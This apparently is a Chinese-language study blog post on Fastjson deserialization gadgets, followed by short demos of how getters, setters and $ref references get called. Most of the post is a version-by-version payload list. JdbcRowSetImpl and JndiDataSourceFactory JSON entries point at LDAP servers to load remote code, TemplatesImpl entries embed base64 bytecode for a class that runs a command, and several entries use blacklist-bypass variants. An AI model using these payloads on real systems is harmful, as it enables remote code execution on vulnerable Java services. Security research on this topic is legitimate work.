fastjson gadgets学习

本文最后更新于 2025年5月16日 下午

总结

gadgets

后面的版本修复主要是对前面版本的gadget加黑名单,寻找新gadget主要通过绕过黑名单来进行,一些已破解的黑名单白名单https://github.com/LeadroyaL/fastjson-blacklist

高版本的gadget使用条件比较苛刻,需要考量以下条件

  1. astjson版本
  2. JDK版本
  3. 中间件版本
  4. 第三方依赖版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//JdbcRowSetImpl
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}



//TemplatesImpl 不出网可用
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}



// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}




FastJson ≤ 1.2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//JdbcRowSetImpl
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
"autoCommit":true
}

//TemplatesImpl 不出网可用
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}


// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}




1.2.25 ≤ FastJson ≤ 1.2.41

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//JdbcRowSetImpl
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.196.128:1389/5ltgie", "autoCommit":true}
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}



//TemplatesImpl 不出网可用
{"@type":"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}
{"@type":"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}


// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}
{ "@type": "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"[{, "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}
{ "@type": "LLorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;;", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}



FastJson ≤ 1.2.42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//JdbcRowSetImpl
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}


//TemplatesImpl 不出网可用
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}
{"@type":"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}


// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}
{ "@type": "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"[{, "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}
{ "@type": "LLorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;;", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}



FastJson 1.2.43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//JdbcRowSetImpl
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.100.128:1389/Exploit","autoCommit":true}


//TemplatesImpl 不出网可用
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY="],"_name":"EvilClass","_tfactory":{},"_outputProperties":{}}


// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}
{ "@type": "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"[{, "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}



FastJson 1.2.44

1
2
// JndiDataSourceFactory 需要 mybatis依赖
{ "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://192.168.100.128:1389/Exploit" }}

FastJson ≤ 1.2.47

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

//1.2.25-1.2.32版本:不能开启AutoType
//1.2.33-1.2.47版本:无论是否开启AutoType,都能成功利用

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}

反序列化如何调用getter

getter返回类型为Collection<>

并且没有setter方法,传入的payload的值是集合,通过getter()获取集合实例然后通过反射或集合方法填充数据,如使用realms.add(realm)

通过循环引用

循环引用,fastjson默认开启

{"$ref":"$.tm"}是一个 JSON-Path 引用表达式,表示访问根节点(当前 JSON 根节点下)也就是CacheJndiTmLookuptm属性,Fastjson 会通过反射调用 getTm() 方法(如果存在)或直接访问 tm 字段来获取值,并且getter方法不能是void无返回值的

一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import com.alibaba.fastjson.JSON;

class User { // 类名建议大写
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
System.out.println("getAge() called");
return 0;

}

}
public class test {
public static void main(String[] args) {
String payload = "{\"name\":\"admin\",\"age\":{\"$ref\":\"$.age\"}}";
User user = JSON.parseObject(payload, User.class);
}
}

调用了getAge

无论是否存在setter,循环引用都会调用getter

一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;
import com.alibaba.fastjson.JSON;

class User { // 类名建议大写
private String name;
private int age;
public String getName() {
System.out.println("getName call");
System.out.println(this.name);
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
System.out.println("getAge() called");
return this.age;
}
public void setAge(){
System.out.println(this.age);
}

}
public class test {
public static void main(String[] args) {
String payload = "{\"name\":{\"$ref\":\"$.name\"},\"age\":18}";
User user = JSON.parseObject(payload, User.class);
}
}

前置

fastjson

Fastjson 是阿里巴巴开源的一款高性能 Java 库,主要用于 JSON 数据的解析和生成。它可以将 Java 对象转换为 JSON 字符串(序列化),也能将 JSON 字符串还原为 Java 对象(反序列化),在 Java 开发中广泛用于网络通信、数据存储和配置文件处理等场景。

一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;
import com.alibaba.fastjson.JSON;


public class test {
static class User {
private String name;
private int age;

public User(){} //无参构造方法(必须)不然会报错

public User(String name, int age){ //有参构造方法
this.age = age;
this.name = name;
}

// Fastjson 序列化时会调用此方法
public int getAge() {
System.out.println("调用 getAge()");
return age;
}

// Fastjson 反序列化时会调用此方法
public void setAge(int age) {
System.out.println("调用 setAge()");
this.age = age;
}

// Fastjson 反序列化时会调用此方法
public void setName(String name) {
System.out.println("调用 setName()");
this.name = name;
}

// Fastjson 序列化时会调用此方法
public String getName() {
System.out.println("调用 getName()");
return name;
}
}

public static void main(String[] args) {

// 序列化(会getter方法)
String json = JSON.toJSONString(new User("admin", 18));
System.out.println("序列化数据 "+ json);

// 反序列化(会setter方法)
User user = JSON.parseObject(json, User.class);
}
}

fastjson在序列化的时候会自动调用类的getter方法来获取属性值,而不是直接访问属性

在反序列化时会自动调用类的setter方法来赋值,而不是直接修改字段

正是因为这个特性,在反序列化/序列化参数可控的时候,可以利用某些类来进行恶意操作。

为什么要有一个无参构造方法。

Java对象实例化的基本规则

  • 无参构造方法是Java类的默认入口
